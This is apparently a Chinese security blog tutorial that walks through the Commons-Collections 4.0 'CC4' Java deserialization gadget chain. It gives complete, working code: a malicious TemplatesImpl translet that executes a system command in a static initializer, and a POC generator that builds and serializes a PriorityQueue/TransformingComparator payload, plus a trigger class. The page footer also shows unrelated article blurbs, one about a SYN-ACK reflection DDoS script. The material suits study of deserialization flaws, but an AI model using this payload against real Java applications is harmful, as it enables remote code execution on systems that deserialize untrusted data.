Commons-Collections篇-CC4链分析

embedded/2024/10/18 8:27:26/

前言

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 继承 Serializable,导致该方法无法序列化。
同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口,而CommonsCollections 3里是没有的,所以命令执行点还是一致的
可以在transform()的上一步中用TransformingComparator来代替

1.环境安装

CommonsCollections = 4.0
在pom.xml中加入4.0版本的依赖并加载

java"><dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>
</dependencies>

在这里插入图片描述

2.分析

我们继续在transform()处find usage,找到了TransformingComparator#compare()
在这里插入图片描述
在这里插入图片描述
这是我们常见的方法,我们继续往前找,在PriorityQueue#siftDownUsingComparator()方法找到了compare()的调用
在这里插入图片描述
在这里插入图片描述
这段代码是一个泛型方法,用于执行堆数据结构中的下沉操作,通常是堆排序算法和优先队列的一部分
我们继续查看调用情况,我们找到了同类中的heapify方法进行了调用
在这里插入图片描述
并且我们发现了PriorityQueue类的readObject方法
在这里插入图片描述
所以目前的路线已经清楚了
PriorityQueue#readObject —> PriorityQueue#heapify() —> PriorityQueue#siftDownUsingComparator() —>TransformingComparator.compare()

再加上我们在CC3中分析的就组成了一条利用链
Commons-Collections篇-CC3链
InstantiateTransformer.transform() —>TemplatesImpl.newTransformer() —> defineClass()->newInstance()

3.解决报错

首先编译一个恶意类用来执行命令

java">package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
java">package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);//序列化serializable(priorityQueue);unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

直接执行却没有触发计算器
我们进行调试发现在下图的步骤中跳出,并没有继续执行下去
在这里插入图片描述
首先要执行for循环,i>=0。i的取值又取决于表达式 i = (n >>> 1) - 1,这是一个赋值操作,其中 n >>> 1 是将 n 无符号右移一位的结果,然后从这个结果中减去 1 来得到 i 的值,所以n>=2的时候,咱们的i就符合条件了。

而n的值是Size 就是 PriorityQueue 这个队列的长度,所以咱们尝试往队列中添加两个值

java">priorityQueue.add(1);  
priorityQueue.add(2);
java">package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(2);//序列化
//        serializable(priorityQueue);
//
//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

我们直接运行,发现在没有序列化之前就已经运行出计算器,同时还出现了报错
在这里插入图片描述
我们打下断点进行调试分析原因,发现在进行添加第二个数值的时候触发了compare()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述所以我们可以按照之前几次分析的思路,先进行一次无效的赋值,让他正常运行,但不进行操作,在最后重新通过反射赋值回来

java">Class c = transformingComparator.getClass();
Field trans = c.getDeclaredField("transformer");
trans.setAccessible(true);
trans.set(transformingComparator,chainedTransformer);

分析出计算器的弹出之后,同时在这次的代码中最后可以舍弃_tfactory的赋值,因为之前在CC3中我们的分析,刚开始进行了templates.newTransformer()操作,并没有进行反序列化,我们需要自己提前对他进行赋值,才能运行成功。

在刚开始的反序列化中,jvm会对涉及的类如果有readObject的时候会默认构建,在TemplatesImpl类中,readObject有一个赋值操作,所以我们不用再进行相关操作了
在这里插入图片描述

4.编写POC

我们对上面的进行总结,编写POC

java">package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);//        Field tfactory = ca.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(2);Class c = transformingComparator.getClass();Field trans = c.getDeclaredField("transformer");trans.setAccessible(true);trans.set(transformingComparator,chainedTransformer);//序列化serializable(priorityQueue);
//
//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

我们运行反序列化POC,成功弹出

java">package org.example;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class Main {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}}

在这里插入图片描述
所以这次的链还是比较简单的,整体路线为:

java">PriorityQueue.readObject()PririPriorityQueuety.heapify()PririPriorityQueuety.siftDown()PririPriorityQueuety.siftDownUsingComparator()Comparator.compare()instantiateTransformer.compare()instantiateTransformer.transform()TrAXFilter.TrAXFilter()TemplatesImpl.newTransformer()definclass -> newInstance()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC6链分析

Commons-Collections篇-CC3链


http://www.ppmy.cn/embedded/48701.html

相关文章

使用 Scapy 库编写 TCP SYN-ACK 反射攻击脚本

一、介绍 1.1 概述 TCP SYN-ACK反射攻击是一种分布式拒绝服务攻击&#xff08;DDoS&#xff09;&#xff0c;攻击者通过向一组反射器&#xff08;通常是开放TCP服务的服务器&#xff09;发送大量伪造源地址的TCP SYN包&#xff0c;这些伪造的源地址实际上是目标的IP地址。当反…

「C系列」C 字符串及操作字符串的函数

文章目录 一、C 字符串1. 声明和初始化字符串2. 访问字符串中的字符3. 字符串的长度4. 字符串的复制和连接5. 字符串的比较6. 字符串的查找 二、C 操作字符串的函数三、相关链接 一、C 字符串 在C语言中&#xff0c;字符串是由字符&#xff08;包括字母、数字、标点符号等&…

如何应对pcdn的流量攻击?

面对PCDN的流量攻击&#xff0c;可以采取以下措施来应对&#xff1a; 一&#xff0e;配置防火墙&#xff1a; 1.禁止未授权的PCDN域名访问&#xff1a;根据网络需求&#xff0c;配置防火墙规则&#xff0c;只允许特定的PCDN域名进行访问&#xff0c;从而防止未经授权的PCDN节…

C#发送邮件

C#发送邮件代码&#xff0c;亲测可用。 using System; using System.Net; using System.Net.Mail;namespace MailSend {class Program{static void Main(string[] args){try{MailAddress receiver new MailAddress("666666666qq.com");//666666666qq.com 换成收件人…

Selenium的使用

学习来源&#xff1a;B站UP主-白月黑羽的视频 本文中的大部分内容与测试网站都来源与这个网站 白月黑羽老师的网站上面还有很多关于软件测试的内容&#xff0c;大家感兴趣的可以结合B站的视频与网站上面的资料一起学习。 目录 安装Selenium 安装客户端库 安装驱动 安装Ch…

【react】react 使用 Context 的简单示例

React的Context API是一种在组件树中传递数据的方法&#xff0c;它允许你将数据从顶层组件传递到底层组件&#xff0c;而无需手动在每个层级传递props。 目录 1 创建 Context2 提供 Context 值3 消费 Context 值4 不是子组件能通过Consumer获取吗&#xff1f; 1 创建 Context …

vue2+element 组件封装使用

1.图片上传组件 使用 <el-descriptions-item label"附件图片" :span"3"><ImageUpload v-model"picUrl" :fileSize"0" getImg"getImg"></ImageUpload></el-descriptions-item> // 图片getImg(val)…

【数学】什么是马尔可夫链?RNN 与马尔可夫链的联系,马尔可夫链与条件随机场的比较

文章目录 马尔可夫链背景公式示例题目详细讲解Python代码求解实际生活中的例子 RNN 与马尔可夫链的联系对比总结图示解释 马尔可夫链与条件随机场的比较条件随机场 (Conditional Random Field, CRF)马尔可夫链与 CRF 的联系马尔可夫链隐马尔可夫模型 (HMM)条件随机场 (CRF) 举例…